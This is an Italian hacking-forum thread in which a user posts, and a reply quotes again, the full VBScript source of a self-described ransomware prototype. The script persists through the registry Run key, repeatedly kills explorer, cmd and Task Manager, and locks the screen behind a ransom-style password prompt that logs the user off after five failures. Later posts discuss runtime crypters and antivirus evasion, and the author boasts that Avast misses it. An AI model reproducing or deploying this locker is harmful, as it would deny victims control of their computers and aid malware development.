Discussione Malware prototipo di ransomware

Ordina per data Ordina commenti per reazioni
S

sn1tch

Utente Silver
23 Dicembre 2019
181
6
21
52
salve popolo di inforge
ho deciso di pubblicare qui il codice sorgente di una specie di ransomware scritto da me (VBS)


Set shell=CreateObject("WScript.Shell")
Set speake=CreateObject("SAPI.spvoice")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
shell.run path+"2.vbs"
stupid=Null
WScript.Sleep 500
ch=5
Set file2=fso_OpenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
Do
user=InputBox("skynet ha preso possesso del tuo pc. se vuoi riaverlo, inserici la password qui : "&vbNewLine&stupid,"tentativi rimasti : "&ch)
If user<>"CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" Then
ch=ch-1
If ch=0 Then
Set file2=fso_OpenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
shell.Run "shutdown.exe /l"
End If
stupid="PASSWORD ERRATA"
End If
Loop Until user="CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" 'CHANGE THE PASSWORD
Set file1=fso_OpenTextFile(path&"POOP.txt",2)
file1.WriteLine("OK")
file1.Close
speake.speak "bentornato!"
WScript.Sleep 3000


On Error Resume Next
Set shell=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
Do
shell.Run "taskkill /F /IM explorer.exe",0
shell.Run "taskkill /F /IM cmd.exe",0
shell.Run "taskkill /F /IM Taskmgr.exe",0
WScript.Sleep 1000
If fso.FileExists(path&"POOP.txt") then
Set check=fso_OpenTextFile(path&"POOP.txt",1)
line=check.ReadLine
check.Close
If line="OK" Then
Set check1=fso_OpenTextFile(path&"POOP.txt",2)
line=check.WriteLine(Null)
check1.Close
shell.Run "explorer.exe"
WScript.Quit
end if
End If
Loop


che ne pensate?
 
sn1tch ha detto:
salve popolo di inforge
ho deciso di pubblicare qui il codice sorgente di una specie di ransomware scritto da me (VBS)


Set shell=CreateObject("WScript.Shell")
Set speake=CreateObject("SAPI.spvoice")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
shell.run path+"2.vbs"
stupid=Null
WScript.Sleep 500
ch=5
Set file2=fso_OpenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
Do
user=InputBox("skynet ha preso possesso del tuo pc. se vuoi riaverlo, inserici la password qui : "&vbNewLine&stupid,"tentativi rimasti : "&ch)
If user<>"CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" Then
ch=ch-1
If ch=0 Then
Set file2=fso_OpenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
shell.Run "shutdown.exe /l"
End If
stupid="PASSWORD ERRATA"
End If
Loop Until user="CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" 'CHANGE THE PASSWORD
Set file1=fso_OpenTextFile(path&"POOP.txt",2)
file1.WriteLine("OK")
file1.Close
speake.speak "bentornato!"
WScript.Sleep 3000


On Error Resume Next
Set shell=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
Do
shell.Run "taskkill /F /IM explorer.exe",0
shell.Run "taskkill /F /IM cmd.exe",0
shell.Run "taskkill /F /IM Taskmgr.exe",0
WScript.Sleep 1000
If fso.FileExists(path&"POOP.txt") then
Set check=fso_OpenTextFile(path&"POOP.txt",1)
line=check.ReadLine
check.Close
If line="OK" Then
Set check1=fso_OpenTextFile(path&"POOP.txt",2)
line=check.WriteLine(Null)
check1.Close
shell.Run "explorer.exe"
WScript.Quit
end if
End If
Loop


che ne pensate?
Clicca per espandere...
Mettilo tra i tag per il codice o copialo su pastebin, cosi non si capisce molto
 
Ultima modifica:
Messaggio unito automaticamente:

MafiaBoy ha detto:
Mettilo tra i tag per il codice o copialo su pastebin, cosi non si capisce molto
Clicca per espandere...
cosa non capisci di preciso? le parti sostituite dalle emoji?
Messaggio unito automaticamente:

ok signori, se non capite bene il codice, ecco il pastebin:
 
  • Mi piace
Reazioni: maikol 58
sn1tch ha detto:
Messaggio unito automaticamente:


cosa non capisci di preciso? le parti sostituite dalle emoji?
Messaggio unito automaticamente:

ok signori, se non capite bene il codice, ecco il pastebin:
Clicca per espandere...

No tranquillo rileggendolo non serviva:)
 
hosse89 ha detto:
Qualsiasi engine di un antivirus te lo blocca
Clicca per espandere...
mai sentito parlare di crypter?
Messaggio unito automaticamente:

hosse89 ha detto:
Tralasciando ciò, perché non metti il codice in una repository su GitHub come fanno le persone normali?
Clicca per espandere...
forse perchè è un progetto che voglio portare avanti da solo e qui ho chiesto solo dei consigli, come dovrebbero fare "le persone normali"
 
sn1tch ha detto:
mai sentito parlare di runtime crypters?
Clicca per espandere...

Un runtime crypter è un crypter normalissimo.
Metti una sezione di codice che viene virtualizzata ed eseguita successivamente, oppure injectata in qualche altro processo. Insomma funzionano così i crypter

E un ransomware crypted in questo modo viene bloccato
 
sn1tch ha detto:
non credo proprio: un runtime crypter codifica lo stub sia dalla parte del codice sia in memoria, rendendo impossibile all'antivirus leggere il malware sia prima sia dopo l'esecuzione
Clicca per espandere...

Il codice in memoria viene decriptato per essere eseguito ;)
E gli av come ti ho detto non rilevano i ransmware dal codice del programma stesso, ma gli engine ultimamente verificano gli effetti, oltre ad avere altre flag, come uso disco, ram e cpu
 
Deus Ex Machina ha detto:
Nah c'è l'analisi euristica che studia il comportamento del malware in una sandbox. Mi dispiace deluderti ma i crypters sotto questo aspetto non servono a niente
Clicca per espandere...
in realtà non viene rilevato dato che non fa danni, spiegato in parole semplici, mette una specie di blocco schermo che non ti permette di fare nulla, non cripta i file.
ho testato giusto qualche minuto fa e va tutto alla grande, il buon vecchio avast dice che è tutto a posto
 
sn1tch ha detto:
in realtà non viene rilevato dato che non fa danni, spiegato in parole semplici, mette una specie di blocco schermo che non ti permette di fare nulla, non cripta i file.
ho testato giusto qualche minuto fa e va tutto alla grande, il buon vecchio avast dice che è tutto a posto
Clicca per espandere...
Scusa, ma dando una lettura veloce al codice mi sembra di capire che non fa proprio nulla di così dannoso...
Il tuo codice non fa altro che chiedere all'utente di inserire una stringa in input (CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@) e, se è sbagliata per 5 tentativi killa 3 processi (explorer.exe, cmd.exe, Taskmgr.exe). Direi che qualsiasi antivirus non rileverà questo codice come "dannoso" perchè di dannoso non ha proprio nulla.
 
DidyMond ha detto:
Scusa, ma dando una lettura veloce al codice mi sembra di capire che non fa proprio nulla di così dannoso...
Il tuo codice non fa altro che chiedere all'utente di inserire una stringa in input (CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@) e, se è sbagliata per 5 tentativi killa 3 processi (explorer.exe, cmd.exe, Taskmgr.exe). Direi che qualsiasi antivirus non rileverà questo codice come "dannoso" perchè di dannoso non ha proprio nulla.
Clicca per espandere...
no, mette una specie di blocco, non puoi fare nulla nulla nulla...
 
sn1tch ha detto:
ti correggo: prototipo* di ransomware
Clicca per espandere...
I ransomware volendo inserire questo blocco... dopo non potrebbero chiedere il riscatto, anche perché dopo l’utente non riesce più ad accedere sul desktop per leggere il readme per poter ottenere i file.... a meno che non lo stampino alla richiesta della password... una cosa inutile sinceramente... sembra che sia stato creato più da un lamerino.
 
Top Bottom
Indietro